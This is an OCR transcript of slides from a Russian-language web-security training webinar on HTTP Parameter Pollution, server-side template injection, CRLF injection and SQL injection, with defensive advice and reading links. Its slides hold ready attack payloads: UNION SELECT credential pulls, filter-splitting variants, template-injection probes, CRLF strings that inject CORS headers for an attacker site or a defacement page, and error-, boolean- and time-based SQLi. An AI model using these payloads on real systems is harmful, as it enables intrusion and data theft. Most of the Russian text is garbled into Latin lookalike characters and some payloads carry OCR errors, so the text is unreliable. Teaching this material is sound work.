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Awillix LLC (CneumanncT no TeECTUPOBAHUIO HA MPOHNKHOBEHME)

[MobeguTens mexxayHapoaHbix KoHKypcoB HITB Al Challenge n
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PaspabaTbiBato Kypc no MHopmaunoHHOM 6e3onacHOCTU ONA
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TpeHep KoMaHpg, No HacTynaTenbHOM 6e30MacHOCTU
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NPUIOXKEHN

CTF wurpok (SploitOOn, Eun014)
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[lpaBuna BedbuHapa

AKTVBHO y4acTByeMm

3agaem BOrpocC B 4aT N1 FOJZI0OCOM

Off-topic obeyxpaem B Slack #kaHan rpynnel nnn #general

Bonpockl BMXY B 4aTe, MOry OTBETUTb He cpasy



[lnaH BeGuHapa

1) HTTP Parameter Pollution
2) SSTI
3) CRLF
4) SQLi



Llenun BeOGuHapa

1 N3yunTb aTaku

2 Y3HaTb MeTOAbI NPOTMBOLENCTBUA



Cwmbicn | 3a4yem Bam 9TO YMETb

1 CospaBaTb 6e30mnacHble NPUIoXeEHUA

2 MomoraTb cospnaBaTb 6e30nacHble NPUITIOXEHUA
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[lnaH BeGuHapa

1) HTTP Parameter Pollution
2) SSTI

3) CRLF

4) SAQLi



HTTP Parameter Pollution

CornacHo RFC3986 napameTtpamu HTTP-3anpoca ABNAOTCA napbl, COCTOALWME N3
KM4ya 1 3HavyeHuA, pasnefieHHble CUMMBOJIOM =. [ paHuLbl NapaMeTpoB B CBOKO
oyepenb onpenenAarTcA ¢ NoMoLWbio cmBonoB & K ;. OOHaAKO TOT XXe cTaHOapT He
3anpeuiaeT MHOroKkpaTHoOe 1cnonb3oBaHmne ognHakoBbix UMeH B HT TP-3anpocax.



HTTP Parameter Pollution

POST /index.php?a=1&a=2 HTTP/1.0
Host: localhost

Cookie: a=3;a=4

Content-type: text/plain
Content-Length: 7

Connection: close

a=5&a=6



HTTP Parameter Pollution

ATaku Ha cepBepHYIO YacCTb:

http://www.example.com/index.aspx?1d=-1+UNION+SELECT+username,password+FROM+users—

http://www.example.com/index.aspx ?71d=-1+UNION+SELECT+username&id=password+FROM+users—

http://www.example.com/index.aspx 71d=-1/*&1d="*/UNION/*&1d=*/SELECT/*&i1d="*/username&id=password,
*&1d=*/FROM/*&i1d="*/users—

-1/%,%/UNION/*,*x/SELECT/*,*x/username, password/x,*x/FROM/x,
x/users——



HTTP Parameter Pollution

ATaKM Ha KITMEHTCKYI0 YacTb: <?php
$param = htmlspecialchars($_GET['param']);

echo "<a href=http://www.example.com/index.php?action=vie
wim={$param}>test</a>";
7>

http://www.example.com/index.php?param=hpp%?26action=edit

<a href=http://www.example.com/index.php?action=viewiim=hp
p&amp;action=edit>test</a>



HTTP Parameter Pollution

NMpoTtuBogencreue:

- Heo6X0OMMO NPOBECTN OOLLMPHYIO U HadeXallyto NPOBEPKY BXOAHbIX AAHHbIX



[lnaH BeGuHapa

1) HTTP Parameter Pollution
2) SSTI

3) CRLF

4) SAQLi



ATaka BHeOpeHus, HaueneHas Ha akcnnyarauuo ys3BMMOCTEN LWabnoHN3aTopoB, NpMBoAsALWas K yaaneHHoMy
BbINONHEHUIO Koaa, XSS u 14



$output = $twig—>render($_GET['custom_email'], array("first_name" => $user.first_name) );



$output = $twig—>render($_GET['custom_email'], array("first_name" => $user.first_name) );

custom_email={{7x7}}
49



$output = $twig—>render($_GET['custom_email'], array("first_name" => $user.first_name) );

custom_email={{self}}

Object of class
__TwigTemplate_7ae62e5821f8a35e5eab6cc639800ect15b96c0d6f78db3538221¢c1145580cad4a5 could not be
converted to string



SSTI | O6Hapy)xeHue

$output = $twig—>render($_GET['smarty'], array("first_name" => $user.first_name) );
smarty=Hello

OTBerT:
Hello



SSTI | O6Hapy)xeHue

$output = $twig—>render($_GET['smarty'], array("first_name" => $user.first_name) );

smarty=Hello ${7%7}

OTBerT:
Hello 49



SSTI | UpeHTudunkauuma

S{"z".join("ab")}

m <
Not vulnerable
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1) HTTP Parameter Pollution
2) SSTI

3) CRLF

4) SAQLi



[Mpu aTtake ¢ ncnonb3osaHnem CRLF-MHbeKUMM 3NOYMbILWLNIEHHUK BCTaBNAET
C/MBOJbI BO3BpaTa KapeTkn 1 nepesofa CTPOKM B NOSb30BaTENIbCKUN BBOA,
4TOObI 0O6MaHyTb cepBep, BEO-NPUNOXEHNE U NONb30BaTESNA, 3aCTaBUB UX
nogymaTtb, YTO OOMH OObeKT 3aBepLUeH, a apyron Ha4aT. Takum obpasom,
nocneposatenbHocT CRLF He ABnAOTCA BPpeAOHOCHBbIMU CUMMBOMAMK, O4HAKO
OHW MOTYT UCMOJIb30BaTbCA ON1A 3/I0HAMEPEHHbIX OEUCTBUI, OJ1A pa3fesieHnA
HTTP-otBeTtan 1. [.



Bo3MO)XXHbIe nocnencTBuA:

1) Noppoenka cogep>kumoro dpamnos (XKypHanoB JIOrrMPoBaHMA)

2) HTTP Response splitting



CRLF | BHeapeHue B hann norruposaHunA

123.123.123.123 - 08:15 - /index.php?page=home

/index.php?page=home&&s0d%s0al27.0.0.1 — 08:15 — /index.php?page=home&restrictedaction=edit

123.123.123.123 - 08:15 - /index.php?page=homeé&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

/index.php?page=home&restrictedaction=edit



CRLF | HTTP Response splitting

- XSS
- BHepnpeHue cBomnx 3aronoskos (O6xon SOP, BHeOpeHWe KyK 1 TA)



CRLF | HTTP Response splitting

GET
http://target.site/getPersonalData.php?trackingUrl=http://elsfoo.com%0d%
@aAccess-Control-Allow-Origin:%20<attackerSite>%0d%0aAccess-Control-
Allow-Credentials:%20true

..............................

The image shows the
payload used and the
injected response headers.

target.site

HTTP Response

HTTP/1.1 200 OK

Content-Length: 548713

Content-Type: text/html

Set-cookie: lastUrl = http://elsfoo.com
Access-Control-Allow-Origin: <attackerSite>
Access-Control-Allow-Credentials: true




CRLF | HTTP Response splitting

GET

http://target.site/trackUrl.php?url=http://elsfoo.com%0d%0aHTTP/1.1%2
0200%200K%0d%0aContent%2dType:%20text/html%0d%0aContent%2dLength:%202
8%0d%0a%0d%0a<html><hl>Defaced</h1></html>

| o hB
The image shows how the —
injected parameter is

reflected within the HTTP Response
response headers. et N

Set-cookie: lastUrl = http://elsfoo.com
[CRLF]

HTTP/1.1 200 OK

Content-Type: text/html

Content-Len28 20

[CRLF]
<html><hl>Defaced</hl1></htmli>




[lnaH BeGuHapa

1) HTTP Parameter Pollution
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SQL-nHbeKkuus - aTo aTaka, aKcnnyaTmpyoLwas HegoCTaTk caHNTU3auum Nob30BaTeNbCKOro BBOAA,
npuBogsLas Ko BHegpeHuto SQL komaHg, B SQL Bbipa>keHns BEG-NMPUNOXKEHNS.



YA3BuMble napameTpbl

1]
$id = $ GET['id'];

$connection = mysqgli connect ($dbhostname, $dbuser, $dbpassword, Sdbname);
Squery = "SELECT Name, Description FROM Products WHERE ID='$id';";

$results = mysqgli query($connection, $query);
display results ($results);




HackKo/1bKO onacHbl UHbEeKUUU

- YutaTb (bannoByto CUCTEMY
- BbINONHATL KOMaH4bl ONnepaLmoHHON CUCTEMBI
- 3arpy>kaTb wenn

= MaHI/II'IyJ'II/IpOBaTb CcoAepP>KXMMbIM 6asbl 1 Tak ganee.



Knaccugpukauma

* In-band

* Out-of-band

- Error-based

- Boolean-based
- Blind



mysql>select 1,2 union select
count(*),concat(version(),fFloor(rand(0)*2))x
from information_schema.tables group by x;

ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1



Boolean-based

https://example.com/index.php?id=1+AND+1=1

BepHem KOHmMeHm cmpaHuubi 1

https://example.com/index.php?id=1+AND+1=2

He BepHem KkoHmMeHmM cMpaHuubl

https://example.com/index.php?id=1+AND+IF(version()+L
IKE+'5%',true,false)

BepHem KoHmMeHmM cmpaHuybl, ecsiu sepcuss MySQL Ha4yuHaemcs ¢ 5



https://example.com/index.php?id=1+AND+IF(version()+L
IKE+'5%',sleep(3),False)

BepHem KoHmeHmM cmpaHuysl, ecsiu sepcuss MySQL HayuHaemcs ¢ 5



@ Ecommerce - Mozilla Firefox

File Modfica VYisusizza Cronologia Segnalibri  Strumenti  Aiuto
OD' C X 3 (a1 | ] http:jflocabhost/ecommerce.phptide1

|| Ecommerce |+

Welcome to our cell phones store:

Product features:

Name: Nokia 5110
Price: $199

Desc: whensver you're in the mood to express yourseF, just snap on the

Xpress-on cover of your choice and change the look of your Nokis 5110 phone
In mere seconds.




@ Ecommerce - Mozilla Firefox

Fle  Modifica VYisuslzza Cronologia Segnalbri  Strumenti  Auto
o + C X 3 & | L] hetp:jflocalhostjecommerce. phpnids,

Welcome to our cell phones store:

Product features:

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in C:\ Inetpub\ wwwroot\ ecommerce.php on line 18
Name:
|— Price: $
Desc:
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OTKyaa yA3BMMOCTU?

1) HepoctaTo4HbIX YPOBEHb abCcTpakLumn

2) lNnoxoe Ka4eCcTBO CaHUTU3ALUU



Kak 6opoTtbcAa?

1) BHeapuTb NpaBWUJIbHYIO CaHMTU3aLMIO BBOAa

2) Ucnonb3oBaTb prepared statements



Prepared statements

$stmt = Sconn->prepare ("INSERT INTO MyGuests (firstname, lastname, email) VALUES (2, 2, ?)»);

$stmt->bind param("sss", S$firstname, $lastname, Semail);

Sfirstname = "John";
Slastname = "Doe";
Semail = "Jjohn@example.com";

Sstmt->execute () ;

Sfirstname = "Mary";
Slastname = "Moe";
Semail = "mary@example.com";

Sstmt->execute () ;



Pednekcusa

C KaKnMn OCHOBHbIMU MbICIAMU U MHCaAUTaMN
yxooute c BebuHapa?

*x

? OocTturnn nu Bbl Lenn BedbmHapa?
o



Cnepnyrowmmn se6uHap

Tema: YassumcoTtu knacca: ServerSide Request Forgery, Subdomain Takeover

o@o 21.08

6@? Ccbinka Ha BebuHap 6ynet B JIK 3a 15 MUHYT

ii' MaTepunanbl K 3aHATUIO Ob6asaTenbHbIN
gj B JIK — MO>XHO maTepuan obosHayeH

n3yyartb KpacHOW NeHTON



Cnucok matepuanoB AJ1A U3y4YeHUA

https://www.youtube.com/watch?v=QVZBI8yxVX0&feature=youtu.be

https://www.netsparker.com/blog/web-security/crif-http-header/
https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46

1)

2)

3)

4) https://owasp.org/www-community/vulnerabilities/CRLF _Injection
S)

6)

7)

https://ru.wikipedia.org/wiki/BHeapenune SQL-koaa
https://habr.com/ru/post/148151/



https://www.youtube.com/watch?v=QVZBl8yxVX0&feature=youtu.be
https://www.netsparker.com/blog/web-security/crlf-http-header/
https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46
https://owasp.org/www-community/vulnerabilities/CRLF_Injection
https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_SQL-%D0%BA%D0%BE%D0%B4%D0%B0
https://habr.com/ru/post/148151/
https://www.youtube.com/watch?v=QVZBl8yxVX0&feature=youtu.be
https://www.netsparker.com/blog/web-security/crlf-http-header/
https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46
https://owasp.org/www-community/vulnerabilities/CRLF_Injection
https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_SQL-%D0%BA%D0%BE%D0%B4%D0%B0
https://habr.com/ru/post/148151/
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